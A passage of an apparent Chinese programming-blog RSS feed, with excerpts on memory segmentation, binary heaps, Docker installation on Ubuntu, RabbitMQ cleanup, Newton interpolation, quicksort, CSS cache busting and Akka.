      <description>点击上方“五分钟学算法”，选择“星标”公众号&#xA;重磅干货，第一时间送达&#xA;转自小林coding&#xA;前言 之前有不少读者跟我反馈，能不能写图解操作系统？&#xA;既然那么多读者想看，我最近就在疯狂的复习操作系统的知识。&#xA;操作系统确实是比较难啃的一门课，至少我认为比计算机网络难太多了，但它的重要性就不用我多说了。&#xA;学操作系统的时候，主要痛苦的地方，有太多的抽象难以理解的词语或概念，非常容易被劝退。&#xA;即使怀着满腔热血的心情开始学操作系统，不过 3 分钟睡意就突然袭来。。。&#xA;该啃的还是得啃的，该图解的还是得图解的，万众期待的「图解操作系统」的系列来了。&#xA;本篇跟大家说说内存管理，内存管理还是比较重要的一个环节，理解了它，至少对整个操作系统的工作会有一个初步的轮廓，这也难怪面试的时候常问内存管理。&#xA;干就完事，本文的提纲：&#xA;本文提纲 正文 虚拟内存 如果你是电子相关专业的，肯定在大学里捣鼓过单片机。&#xA;单片机是没有操作系统的，所以每次写完代码，都需要借助工具把程序烧录进去，这样程序才能跑起来。&#xA;另外，单片机的 CPU 是直接操作内存的「物理地址」。&#xA;在这种情况下，要想在内存中同时运行两个程序是不可能的。如果第一个程序在 2000 的位置写入一个新的值，将会擦掉第二个程序存放在相同位置上的所有内容，所以同时运行两个程序是根本行不通的，这两个程序会立刻崩溃。&#xA;操作系统是如何解决这个问题呢？&#xA;这里关键的问题是这两个程序都引用了绝对物理地址，而这正是我们最需要避免的。&#xA;我们可以把进程所使用的地址「隔离」开来，即让操作系统为每个进程分配独立的一套「虚拟地址」，人人都有，大家自己玩自己的地址就行，互不干涉。但是有个前提每个进程都不能访问物理地址，至于虚拟地址最终怎么落到物理内存里，对进程来说是透明的，操作系统已经把这些都安排的明明白白了。&#xA;进程的中间层 操作系统会提供一种机制，将不同进程的虚拟地址和不同内存的物理地址映射起来。&#xA;如果程序要访问虚拟地址的时候，由操作系统转换成不同的物理地址，这样不同的进程运行的时候，写入的是不同的物理地址，这样就不会冲突了。&#xA;于是，这里就引出了两种地址的概念：&#xA;我们程序所使用的内存地址叫做虚拟内存地址（Virtual Memory Address）&#xA;实际存在硬件里面的空间地址叫物理内存地址（Physical Memory Address）。&#xA;操作系统引入了虚拟内存，进程持有的虚拟地址会通过 CPU 芯片中的内存管理单元（MMU）的映射关系，来转换变成物理地址，然后再通过物理地址访问内存，如下图所示：&#xA;虚拟地址寻址 操作系统是如何管理虚拟地址与物理地址之间的关系？&#xA;主要有两种方式，分别是内存分段和内存分页，分段是比较早提出的，我们先来看看内存分段。&#xA;内存分段 程序是由若干个逻辑分段组成的，如可由代码分段、数据分段、栈段、堆段组成。不同的段是有不同的属性的，所以就用分段（Segmentation）的形式把这些段分离出来。&#xA;分段机制下，虚拟地址和物理地址是如何映射的？&#xA;分段机制下的虚拟地址由两部分组成，段选择子和段内偏移量。&#xA;内存分段-寻址的方式 段选择子就保存在段寄存器里面。段选择子里面最重要的是段号，用作段表的索引。段表里面保存的是这个段的基地址、段的界限和特权等级等。&#xA;虚拟地址中的段内偏移量应该位于 0 和段界限之间，如果段内偏移量是合法的，就将段基地址加上段内偏移量得到物理内存地址。&#xA;在上面了，知道了虚拟地址是通过段表与物理地址进行映射的，分段机制会把程序的虚拟地址分成 4 个段，每个段在段表中有一个项，在这一项找到段的基地址，再加上偏移量，于是就能找到物理内存中的地址，如下图：&#xA;内存分段-虚拟地址与物理地址 如果要访问段 3 中偏移量 500 的虚拟地址，我们可以计算出物理地址为，段 3 基地址 7000 + 偏移量 500 = 7500。</description>
    </item>
    <item>
      <title>confluent connect写出到ES及ClickHouse</title>
      <link>https://bchobby.github.io/posts/00cda519669fac59a3ea952316fdf410/</link>
      <pubDate>Mon, 29 Jun 2020 20:49:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00cda519669fac59a3ea952316fdf410/</guid>
      <description>1 连接Elasticsearch测试 1.1 启动confluent /home/kafka/.local/confluent/bin/confluent start&#xA;This CLI is intended for development only, not for production https://docs.confluent.io/current/cli/index.html Using CONFLUENT_CURRENT: /tmp/confluent.swpIapNw Starting zookeeper zookeeper is [UP] Starting kafka kafka is [UP] Starting schema-registry schema-registry is [UP] Starting kafka-rest kafka-rest is [UP] Starting connect connect is [UP] Starting ksql-server ksql-server is [UP] Starting control-center control-center is [UP] 1.2 增加配置 vim /home/kafka/.local/confluent/etc/kafka-connect-elasticsearch/iot-elasticsearch-sink.properties&#xA;name=iot-elasticsearch-sink connector.class=io.confluent.connect.elasticsearch.ElasticsearchSinkConnector tasks.max=1 topics=road_traffic key.ignore=true connection.url=http://10.0.165.8:9200 type.name=iot-kafka-connect batch.size=1 flush.timeout.ms=200000 topic.schema.ignore=road_traffic schema.</description>
    </item>
    <item>
      <title>二叉堆详解</title>
      <link>https://bchobby.github.io/posts/aaf06d4a2b4072d0dd6f203194dba2f4/</link>
      <pubDate>Mon, 29 Jun 2020 17:49:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aaf06d4a2b4072d0dd6f203194dba2f4/</guid>
      <description>一、什么是二叉堆 二叉堆是完全二叉树或者是近似完全二叉树，它分为两个类型：&#xA;最大堆最小堆 最大堆是指任何一个父节点的值，都大于等于它左右孩子节点的值；最小堆是指任何一个父节点的值，都小于等于它左右孩子节点的值&#xA;二、二叉堆的自我调整 1.插入节点 我们以下面的最小堆为例，插入元素&#xA;新插入的元素为0，将新元素置于二叉堆最后一个位置&#xA;我们让新元素与它的父节点比较，如果新元素小于父节点，则与父节点交换位置，否则调整结束&#xA;新元素0与父节点5比较，0小于5，0与5交换位置&#xA;新元素0继续与父节点2比较，0小于2，0与2交换位置&#xA;新元素0继续与父节点1比较，0小于1，0与1交换位置&#xA;新元素0到了堆顶的位置，调整结束&#xA;2.删除节点 我们同样以前面的二叉堆为例，进行删除元素，删除堆顶元素1&#xA;我们将最后一个元素10补到堆顶&#xA;接下来，我们将补到堆顶的元素10与它的左右孩子比较，若同时小于左右孩子，则调整结束，否则与左右孩子中较小的一个交换位置&#xA;10分别与2、3比较，10大于2、3，2是左右孩子中较小的一个，10与2交换位置&#xA;10继续与左右孩子4、5比较，10大于4、5，4是左右孩子中较小的一个，10与4交换位置&#xA;10继续与左右孩子8、9比较，10大于8、9，8是左右孩子中较小的一个，10与8交换位置&#xA;此时元素10已无孩子节点，调整结束&#xA;3.构建二叉堆 构建二叉堆，就是把一个无序的完全二叉树调整为二叉堆，本质上就是让所有非叶子节点依次下沉&#xA;我们以下面无序的完全二叉树进行调整，构建二叉堆&#xA;我们先找到最后一个非叶子节点3，将它与它的左右孩子比较，若同时小于左右孩子，则该叶子节点调整结束，否则与左右孩子中较小的一个交换位置&#xA;3与1比较，3大于1，3与1交换位置&#xA;接着比较下一个非叶子节点7，7大于孩子节点2、4，其中2是较小的孩子节点，7与2交换位置&#xA;接着比较下一个非叶子节点8，8同时小于孩子节点9、10，不需要交换位置&#xA;继续比较下一个非叶子节点6，6大于孩子节点1、2，其中1是较小的孩子节点，6与1交换位置&#xA;交换后，6还有孩子节点3，6与3比较，6大于孩子节点3，6与3交换位置&#xA;接着比较最后一个非叶子节点5，5与孩子节点1、8比较，5大于1，5与1交换位置&#xA;5继续与孩子节点2、3比较，5大于2、3，其中2是较小的孩子节点，5与2交换位置&#xA;5继续与孩子节点7、4比较，5大于4，5与4交换位置&#xA;自此，二叉堆的构建完成&#xA;三、代码实现 二叉堆的所有节点都存在数组中，若父节点的下标是parent，则左右孩子节点的下标分别为2parent+1，2parent+2&#xA;// 上浮调整 function upAdjust(arr) { let childIndex = arr.length - 1; let parentIndex = parseInt((childIndex - 1) / 2); // 缓存子节点的值，用于最后进行赋值，而不需要每一步进行交换 let temp = arr[childIndex]; while (childIndex &amp;gt; 0 &amp;amp;&amp;amp; temp &amp;lt; arr[parentIndex]) { arr[childIndex] = arr[parentIndex]; childIndex = parentIndex; parentIndex = parseInt((childIndex - 1) / 2); } arr[childIndex] = temp; } // 下沉调整 function downAdjust(arr, parentIndex, length) { // 缓存父节点的值，用于最后进行赋值，而不需要每一步进行交换 let temp = arr[parentIndex]; // 孩子节点下标，暂时定为左孩子节点下标 let childIndex = 2 * parentIndex + 1; while (childIndex &amp;lt; length) { // 当存在右孩子节点，且右孩子节点的值小于左孩子节点的值，childIndex记录为右孩子节点的下标 // childIndex实际记录的是最小的孩子节点的下标 if (childIndex + 1 &amp;lt; length &amp;amp;&amp;amp; arr[childIndex + 1] &amp;lt; arr[childIndex]) { childIndex++; } // 如果父节点的值比孩子节点的值都小，则调整结束 if (temp &amp;lt;= arr[childIndex]) { break; } // 将最小的孩子节点的值赋值给父节点 arr[parentIndex] = arr[childIndex]; parentIndex = childIndex; childIndex = 2 * parentIndex + 1; } arr[parentIndex] = temp; } function buildHeap(arr) { // 从最后一个非叶子节点开始下沉调整 for (let i = parseInt(arr.</description>
    </item>
    <item>
      <title>Ubuntu下Docker安装,设置镜像加速，基础用法</title>
      <link>https://bchobby.github.io/posts/0c0282c92a46981f4987a54e0aa35aa6/</link>
      <pubDate>Mon, 29 Jun 2020 17:17:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c0282c92a46981f4987a54e0aa35aa6/</guid>
      <description>官网教程 在Ubuntu上安装Docker Engine&#xA;操作系统要求 Ubuntu Focal 20.04 (LTS)Ubuntu Eoan 19.10Ubuntu Bionic 18.04 (LTS)Ubuntu Xenial 16.04 (LTS) 如果已安装老版本 需要先卸载 sudo apt-get remove docker docker-engine docker.io containerd runc 更新apt软件包索引并安装软件包以允许apt通过HTTPS使用存储库： $ sudo apt-get update $ sudo apt-get install \ apt-transport-https \ ca-certificates \ curl \ gnupg-agent \ software-properties-common 添加Docker的官方GPG密钥： $ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - 设置存储库 $ sudo add-apt-repository \ &#34;deb [arch=amd64] https://download.docker.com/linux/ubuntu \ $(lsb_release -cs) \ stable&#34; 到这一步，如果系统内置python版本有过改动，可能会报错</description>
    </item>
    <item>
      <title>《面向对象程序设计》课程设计</title>
      <link>https://bchobby.github.io/posts/e887a811b2c9b79d5b3e56acddea17aa/</link>
      <pubDate>Mon, 29 Jun 2020 16:22:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e887a811b2c9b79d5b3e56acddea17aa/</guid>
      <description>一、课程设计题目&#xA;结合实际，用面向对象程序设计的思想设计一个应用实例，要求用到下面设计要求中提到的知识点5个以上。&#xA;二、设计要求&#xA;通过此次课程设计，更好地掌握面向对象程序设计的基本概念及编程方法，进一步加深对继承性、多态性、抽象类、动态联编、重载、静态成员、静态成员函数、运算符重载、异常处理等知识点的理解，在实际运用中合理选用子对象、堆对象、对象数组、对象指针及对象引用等复杂对象。&#xA;三、几点说明&#xA;1．本次课程设计可以单人独立完成，也可以由两人合作完成，不允许3人及以上的合作。两人合作只提交一份文档。&#xA;2．6月8日提交，以《面向对象程序设计》各课堂的学生名单为准。&#xA;3．每一份课程设计文档包含：&#xA;(1) 设计报告，WORD文档&#xA;(2) 代码，CPP源代码(所有代码放在一个文件中)，代码须在VC++6.0环境下编译运行&#xA;(3) 分工，WORD文档，两人合作时在此文档中写明各人分别承担了哪些工作，独立完成者不需要提交此项&#xA;3．将以上文档压缩打包，压缩包以“学号姓名”为文件主名，两人合作则一前一后排列两个人的学号姓名，提交压缩包后请主动跟班干部确认。&#xA;四、评分标准&#xA;对每一份完整的文档先按下面的方式计算总分，然后以60-69为及格，70-79为中等，80-89为良好，90-100为优秀登录成绩。合作完成者两人成绩相同。&#xA;只要应用实例是用面向对象程序设计的思想设计的，程序正确，并用到设计要求中提到的知识点5个，就可以得70分。应用实例是用面向对象程序设计的思想设计的，但用到的知识点少于5个，最多只能得60分。如果应用实例不是用面向对象程序设计的思想设计的，将不及格。&#xA;各知识点的说明正确，可增加10分。&#xA;知识点多余5个，可增加5分。&#xA;程序有实用性，可增加5分。&#xA;课程设计报告规范，可增加10分。&#xA;五、对雷同的处理&#xA;与他人设计内容相近部分达1/2及以上者视为抄袭(不区分抄与被抄，请保护好自己的作品。可以与他人交流思想，但具体内容必须自己完成)，成绩为“不及格”。&#xA;课程设计目的 培养应用《面向对象程序设计》设计方法及思想解决实际问题的能力，近一步理解课堂上抽象的知识和方法。如使同学们可以结合理论知识和方法，系统化，全面分析问题，并能独立设计解决实际问题的结构和算法。掌握使用面向对象程序设计语言C++，熟悉面向对象开发平台Visual C++6.0。提高程序设计和调试能力。提高编程能力，学会书写课程设计&#xA;课程设计内容 建立一个小学生的成绩管理系统包括：&#xA;学生的基本信息：姓名 学号 班级&#xA;基本操作：数据的录入&#xA;数据修改：错误数据的修改&#xA;数据删除：毕业学生，错误数据&#xA;数据插入：插入新学生&#xA;数据查询：按学号 姓名&#xA;数据排序：按学号或者总分或平均分&#xA;整体设计（设计了哪些类，每个类的功能与声明，类之间的关系，继承关系需要画出相应DAG图） 类名为student：成员函数包括&#xA;显示内存动态数据记录函数 函数原型 void show();&#xA;功能 显示内存你面的记录&#xA;返回值 无返回值&#xA;查找记录函数 函数原型 void search();&#xA;功能 根据关键字，查询是否存在需要的信息&#xA;返回值 无返回值&#xA;修改记录函数 函数原型void change();&#xA;功能 修改指定的关键字&#xA;返回值 无&#xA;工作方式 根据指定的关键字，查找栈中符合的信息并显示信息&#xA;4.添加记录信息&#xA;函数原型 void add();</description>
    </item>
    <item>
      <title>C&#43;&#43;将字符串中的数字提取到数组中</title>
      <link>https://bchobby.github.io/posts/3909fc8b3db4024cacd652e999658ac2/</link>
      <pubDate>Mon, 29 Jun 2020 10:54:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3909fc8b3db4024cacd652e999658ac2/</guid>
      <description> 对于一个数组，如果输入的形式是字符串，如“[1,2,3,4]”，我们没法直接使用里面的数字，为此，要将数字提取出来。&#xA;若key=false且当前字符是数字，则当前字符是该数的第一个字符，加入数组中，如果其前一个字符为负号，则该数为负数。若key=true且当前字符是数字，则当前字符不是数字的第一个字符，要与数组中的最后一个数字进行组合。&#xA;vector&amp;lt;int&amp;gt; strToArr(string str){ int len = str.size(); vector&amp;lt;int&amp;gt; res; bool key = false; for (int i = 0; i &amp;lt; len; i++){ if (str[i] &amp;gt;= &#39;0&#39; &amp;amp;&amp;amp; str[i] &amp;lt;= &#39;9&#39;){//遇到数字 if (key)//不是数字的第一个字符 *(res.end()-1) = *(res.end()-1) * 10 + str[i] - &#39;0&#39;; else{ int tmp = str[i]-&#39;0&#39;; if (str[i-1] == &#39;-&#39;)//负数 tmp *= -1; res.push_back(tmp);//将数字的第一个字符添加到数组中 key = true; } } else//遇到的不是数字 key = false; } return res; } </description>
    </item>
    <item>
      <title>批量删除rabbitmq的队列和交换机</title>
      <link>https://bchobby.github.io/posts/a2b70d4231ae3c7c2767354190308b9e/</link>
      <pubDate>Mon, 29 Jun 2020 10:44:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2b70d4231ae3c7c2767354190308b9e/</guid>
      <description>不知道大家有没有遇到过需要批量删除rabbitmq的队列和交换机的场景，我就遇到几次，主要是开始设计的时候没有想那么多，后面项目多了，用的又是一个rabbitmq，需要重新设计队列和交换机的名称，需要把已经创建的队列和交换机删除。rabbitmq提供了批量删除队列的操作，但没有批量删除交换机的操作。而且它自带的批量删除必须登陆到安装rabbitmq的服务器上操作才行，于是我自己用python写了一段脚本用于删除队列或者交换机。&#xA;第一步 修改rabbitmq配置 修改rabbitmq_delete.py中rabbitmq的配置：&#xA;host = &#39;127.0.0.1&#39; port = &#39;15672&#39; username = &#39;rabbitmq&#39; password = &#39;xxxx&#39; 第二步 执行python命令 删除队列: python3 rabbitmq_delete.py -k ‘udata.climb’ -d 1&#xA;删除交换机: python3 rabbitmq_delete.py -k ‘udata.climb’ -d 2&#xA;命令说明：&#xA;-k 指定队列前缀，如udata.climb，则类似udata.climb.user, udata.climb.menu这种的会被删除-d 指定删除队列还是交换机，1表示队列，2表示交换机。 python脚本地址：https://download.csdn.net/download/wjf8882300/12560275</description>
    </item>
    <item>
      <title>数据分析（Python） 插值——牛顿插值法</title>
      <link>https://bchobby.github.io/posts/effb1a2076541bd80a93f12267ca5bb8/</link>
      <pubDate>Mon, 29 Jun 2020 01:53:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/effb1a2076541bd80a93f12267ca5bb8/</guid>
      <description>插值思想 求已知的n个点对(x1,y1),(x2,y2),…,(xn,yn)的所有阶差商公式&#xA;联立以上差商公式建立如下插值多项式f(x)&#xA;其中P(x)是牛顿插值逼近函数，R(x)是误差函数&#xA;差商表 xkf(xk)一阶差商二阶差商三阶差商x0f(x0)x1f(x1)f[x0,x]x2f(x2)f[x1,x2]f[x0,x1,x2]x3f(x3)f[x2,x3]f[x1,x2,x3]f[x0,x1,x2,x3]…………… 代码实现 import numpy as np import matplotlib.pyplot as plt import random y_point = [] text_list = [] x_point = random.sample(range(0,12),10)#生成不重复的随机数 for num in range(10): y_point.append(random.randint(1, 12))#生成1-20随机整数 text=&#39;(&#39;+str(x_point[num])+&#39;,&#39;+str(y_point[num])+&#39;)&#39;#合并字符串 text_list.append(text) plt.annotate(text_list[num],xy=(x_point[num],y_point[num]),xytext=(x_point[num]+0.5,y_point[num]+0.5)) #annotate第一个参数是文本内容 第二个参数是要标记的位置 第三个参数是文本标记位置 x = np.arange(min(x_point)-0.01,max(x_point)+0.003,0.003) def whole(n):#计算数值(x-x0)(x-x1)...(x-xn) n为项数次序 if(n==1): return y_point[0] else: sum = 1 for i in range(n-1): sum = sum * (x-x_point[i]) return sum def difference(n):#计算差分公式 f(x0,x1) n为项数次序 if n==1: return 1 else: _2Dlist = [([0] * (n - 1)) for i in range(n - 1)]#从f(x0,x1)开始的三角矩阵 #f(x0,x1),f(x1,x2),f(x2,x3) for i in range(n - 1): _2Dlist[i][0] = (y_point[i + 1] - y_point[i]) / (x_point[i + 1] - x_point[i]) #先计算三角矩阵第一列 for a in range(1,n-1): #a代表列 n=4 a=2,b=23;a=3,b=3 for b in range(a,n-1): #b代表行 _2Dlist[b][a]=(_2Dlist[b][a-1]-_2Dlist[b-1][a-1])/(x_point[b+1]-x_point[b-a]) #计算三角矩阵除第一列以外所有数据元素 print(_2Dlist) #打印差商表 return _2Dlist[n-2][n-2] def newton(n):#n为数据元素个数 sum = 0 for i in range(n): sum = sum + whole(i+1)*difference(i+1) return sum plt.</description>
    </item>
    <item>
      <title>redis启动时闪退，史上最详细的解决办法，看完还解决不了来找我</title>
      <link>https://bchobby.github.io/posts/d7dcbb38f7c9ac1c8df69213329ac157/</link>
      <pubDate>Sun, 28 Jun 2020 16:32:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7dcbb38f7c9ac1c8df69213329ac157/</guid>
      <description>redis启动时闪退，解决办法如下： 1.Windows+r 进入cmd，&#xA;2.cd进入到redis-server.exe所在文件夹下，&#xA;3.写入redis-server.exe redis.windows.conf ，回车&#xA;4.如出现如图所示错误，打开redis.windows.conf，有一行 bind 127.0.0.1 ，前面不要有#&#xA;5.保存后退出，再来redis-server.exe redis.windows.conf，如果还报错，按下图输入&#xA;6.这时其实就已经可以了，如果打开redis-server.exe还是闪退，如下操作&#xA;7.与redis-server.exe同文件夹下新建start.txt ,里面写入redis-server.exe redis.windows.conf ，保存后退出，&#xA;8.把.txt后缀改为.bat,双击start.bat即可打开redis，出现我们所熟悉的小图片&#xA;【鸣谢大佬】参考自https://blog.csdn.net/qq_40361770/article/details/80454248?utm_source=app</description>
    </item>
    <item>
      <title>【Python基础】字符串逆序（反转）输出的几种方式实例</title>
      <link>https://bchobby.github.io/posts/e6666a00b25c78b40e6eb130b502cfc8/</link>
      <pubDate>Sun, 28 Jun 2020 16:31:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6666a00b25c78b40e6eb130b502cfc8/</guid>
      <description> 逆序：给定字符串，按照顺序逆序输出 1、字符串切片，索引的方式，这种方式经常用来考题 切片方式：第一个表示开始索引(留空0), 第二个表示结束索引(留空为最后一个,即-1，也就是字符串的最后一个字符), 第三个是步长（每次取最后一个）&#xA;str = &#34;ABCDEFG&#34; print(str[::-1]) 输出：GFEDCBA 2、reversed()&#xA;reversed是Python内置的函数 str = &#34;ABCDEFG&#34; print(&#39;&#39;.join(reversed(str))) 输出：GFEDCBA 3、借组列表进行翻转 str = (&#34;ABCDEFG&#34;) order = [] for i in str: order.append(i) order.reverse() #将列表反转 print(&#39;&#39;.join(order) ) #将list转换成字符串 4、利用range()语法： range(start,end,step=1):顾头不顾尾循环逆序输出&#xA;正序遍历： range(5):默认step＝1，start＝0,生成可迭代对象，包含[0, 1, 2, 3, 4] range(1,5):指定start＝1，end = 5，默认step＝1，生成可迭代对象，包含[1, 2, 3, 4] range(1,10,2):指定start＝1，end＝10，step＝2，生成可迭代对象，包含[1, 3, 5, 7, 9] 逆序遍历 range(9,-1,-1):step＝-1，start＝9,生成可迭代对象，包含[9, 8, 7, 6, 5, 4, 3, 2, 1, 0] </description>
    </item>
    <item>
      <title>Java设计模式（十五）——————【行为型模式】设计模式之访问者模式</title>
      <link>https://bchobby.github.io/posts/c4189a1c5dbdf5ffeea962a451063f11/</link>
      <pubDate>Sat, 27 Jun 2020 12:42:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4189a1c5dbdf5ffeea962a451063f11/</guid>
      <description>源码地址：【行为型模式】设计模式之访问者模式&#xA;目录 基本介绍基本原理应用案例1、需求2、UML类图3、代码实现 总结 基本介绍 访问者模式（Visitor Pattern），封装一些作用于某种数据结构的各元素的操作，它可以在不改变数据结构的前提下定义作用于这些元素的新的操作。&#xA;主要将数据结构与数据操作分离，解决 数据结构和操作耦合性问题&#xA;访问者模式的基本工作原理是：在被访问的类里面加一个对外提供接待访问者的接口&#xA;访问者模式主要应用场景是：需要对一个对象结构中的对象进行很多不同操作(这些操作彼此没有关联)，同时需要避免让这些操作&#34;污染&#34;这些对象的类，可以选用访问者模式解决&#xA;基本原理 原理图如下：&#xA;1、Visitor：抽象的访问者，为该对象结构中的ConcreteElement的每一个类声明一个visit操作&#xA;2、ConcreteVisitor：一个具体的访问者，实现每个有Visitor 声明的操作，是每个操作实现的部分&#xA;3、ObjectStructure：能枚举它的元素，可以提供一个高层的接口，用来允许访问者访问元素&#xA;4、Element：抽象元素，定义一个能接收访问者对象的抽象方法（accept）&#xA;5、ConcreteElement：具体的元素，实现了能接收访问者对象的抽象方法（accept）&#xA;应用案例 1、需求 将人分为男人和女人，对歌手进行测评，当看完某个歌手表演后，得到他们对该歌手不同的评价(评价 有不同的种类，比如 成功、失败 等)。&#xA;2、UML类图 3、代码实现 //抽象的访问者 public abstract class Action { public abstract void getManResult(Man man); public abstract void getWomanResult(Woman woman); } //具体的访问者 public class Success extends Action { @Override public void getManResult(Man man) { System.out.println(&#34;男人给的测评是成功。。。。。。。。&#34;); } @Override public void getWomanResult(Woman woman) { System.out.println(&#34;女人给的测评是成功。。。。。。。。&#34;); } } //具体的访问者 public class Fail extends Action { @Override public void getManResult(Man man) { System.</description>
    </item>
    <item>
      <title>快速排序（交换排序）——思路及代码实现</title>
      <link>https://bchobby.github.io/posts/db9c5b4b4a73fed06a38376ff8597869/</link>
      <pubDate>Fri, 26 Jun 2020 13:47:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db9c5b4b4a73fed06a38376ff8597869/</guid>
      <description>快速排序：&#xA;快速排序是冒泡排序的改进版，也是最好的一种内排序，在很多面试题中都会出现，也是作为程序员必须掌握的一种排序方法。&#xA;基本步骤为：&#xA;1.在待排序的元素任取一个元素作为基准(通常选第一个元素，但最的选择方法是从待排序元素中随机选取一个作为基准)，称为基准元素；&#xA;2.将待排序的元素进行分区，比基准元素大的元素放在它的右边，比其小的放在它的左边；&#xA;3.对左右两个分区重复以上步骤直到所有元素都是有序的。&#xA;下面来看一个完整的演示过程： 数组序列顺序：4 6 5 2 7 3 1 8 快速排序顺序：1 2 3 4 5 6 7 8 字数不多，4张图了解一下，不懂留言； 下面来看一下代码实现： #include&amp;lt;stdio.h&amp;gt; //不按顺序展示数组数据 /* //高级一点的遍历 void show(int *arry){ int i=0; int *tmp; tmp = arry; for( ;i&amp;lt;8;i++) printf(&#34;%d &#34;,*tmp++); printf(&#34;\n&#34;); }*/ //普通遍历方式 void show(int arry[]){ int i=0; for( ;i&amp;lt;8;i++) printf(&#34;%d &#34;,arry[i]); printf(&#34;\n&#34;); } //用来交换数的位置 void change(int *a, int *b){ int tmp; tmp=*a; *a=*b; *b=tmp; } //快速排序展示 void sort(int *arry, int l, int r){ int *tmp; int i=l,j=r; if( l &amp;gt;= r ) return; tmp = arry; //当左面的数小于右面，右面自减，再次比较 while(l&amp;lt;r){ while(l&amp;lt; r &amp;amp;&amp;amp; tmp[l] &amp;lt;= tmp[r]){ r--; } //改变数组的位置，即地址 change(&amp;amp;tmp[l], &amp;amp;tmp[r]); //这个是，当左面的数小于右面，左面自增，再次比较 while(l &amp;lt; r &amp;amp;&amp;amp; tmp[l] &amp;lt;= tmp[r]){ l++; } change(&amp;amp;tmp[l], &amp;amp;tmp[r]); } //递归函数 //左面 sort(arry, i, l - 1); //右面 sort(arry ,l+1 ,j); }&#x9;int main(){ //自定义数组 int arry[8] = {4,6,5,2,7,3,1,8}; // l=数组首下标 ，r=数组尾下标 int l=0,r=7; //先展示一下自定义数组 printf(&#34;</description>
    </item>
    <item>
      <title>缓存缓存CSS的策略</title>
      <link>https://bchobby.github.io/posts/e5c2a17aa35a0d7a51cdfb3930c00c52/</link>
      <pubDate>Fri, 26 Jun 2020 13:14:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5c2a17aa35a0d7a51cdfb3930c00c52/</guid>
      <description>浏览器缓存CSS将带来主要的性能提升。 您确保服务器设置为发送标头，这些标头告诉浏览器在给定的时间内挂接到CSS文件。 最好的做法是，即使不是大多数站点，许多站点已经在这样做。 与浏览器缓存紧密结合的是缓存清除 。 假设浏览器将CSS文件缓存了一年（这并不罕见）。 然后，您想更改CSS。 您需要一种策略来打破缓存并强制浏览器下载CSS的新副本。 这里有一些方法。 CSS必须缓存起来才有意义…… 为了确保这一点，这是缓存CSS文件的一些看起来不错的标头： 我们正在寻找那个Cache-Control and Expires标头。 我不是服务器配置专家。 我可能会看一下H5BP服务器配置。 但是，这里有一些经典的Apache / HTAccess方法来实现： &amp;lt;FilesMatch &#34;\.(ico|pdf|flv|jpg|jpeg|png|gif|js|css|swf)(\.gz)?$&#34;&amp;gt; Header set Expires &#34;Thu, 15 Apr 2020 20:00:00 GMT&#34; &amp;lt;/FilesMatch&amp;gt; &amp;lt;IfModule mod_expires.c&amp;gt; ExpiresActive on ExpiresByType text/css &#34;access plus 1 year&#34; ExpiresByType application/javascript &#34;access plus 1 year&#34; &amp;lt;/IfModule&amp;gt; 查询字串 如今，大多数浏览器会看到带有不同查询字符串的URL作为不同文件，并下载新副本。 大多数CDN甚至都支持并建议这样做。 &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;style.css?v=3.4.1&#34;&amp;gt; 零钱吗？ 更改为： &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;style.css?v=3.4.2&#34;&amp;gt; 通过将服务器端变量设置为可在多个位置使用，可以使自己更容易。 因此，对其进行更改将立即破坏许多文件的缓存。 &amp;lt;?php $cssVersion = &#34;3.4.2&#34;; ?&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;global.css?v=&amp;lt;?php echo $cssVersion; ?</description>
    </item>
    <item>
      <title>Akka并发编程-Akka特性，并实现两个进程之间的通信（含完整Demo）</title>
      <link>https://bchobby.github.io/posts/de20e4aca5ea7ec912bcf24f94465c83/</link>
      <pubDate>Thu, 25 Jun 2020 22:45:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de20e4aca5ea7ec912bcf24f94465c83/</guid>
      <description>Akka介绍 Akka是一个用于构建高并发、分布式和可扩展的基于事件驱动的应用的工具包。Akka是使用scala开发的库，同时可以使用scala和Java语言来开发基于Akka的应用程序。&#xA;Akka特性 提供基于异步非阻塞、高性能的事件驱动编程模型内置容错机制，允许Actor在出错时进行恢复或者重置操作超级轻量级的事件处理（每GB堆内存几百万Actor）使用Akka可以在单机上构建高并发程序，也可以在网络中构建分布式程序。 Akka通信过程 以下图片说明了Akka Actor的并发编程模型的基本流程：&#xA;学生创建一个ActorSystem通过ActorSystem来创建一个ActorRef（老师的引用），并将消息发送给ActorRefActorRef将消息发送给Message Dispatcher（消息分发器）Message Dispatcher将消息按照顺序保存到目标Actor的MailBox中Message Dispatcher将MailBox放到一个线程中MailBox按照顺序取出消息，最终将它递给TeacherActor接受的方法中 入门Demo 基于Akka创建两个Actor，Actor之间可以互相发送消息。&#xA;实现步骤 创建Maven模块创建并加载Actor发送/接收消息 1. 创建Maven模块 使用Akka需要导入Akka库，我们这里使用Maven来管理项目&#xA;创建Maven模块打开pom.xml文件，导入akka Maven依赖和插件 2. 创建并加载Actor 创建两个Actor&#xA;SenderActor：用来发送消息ReceiveActor：用来接收，回复消息 创建Actor&#xA;创建ActorSystem创建自定义ActorActorSystem加载Actor 3. 发送/接收消息 使用样例类封装消息SubmitTaskMessage——提交任务消息SuccessSubmitTaskMessage——任务提交成功消息使用类似于之前学习的Actor方式，使用!发送异步消息 完整代码：&#xA;pom.xml&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; 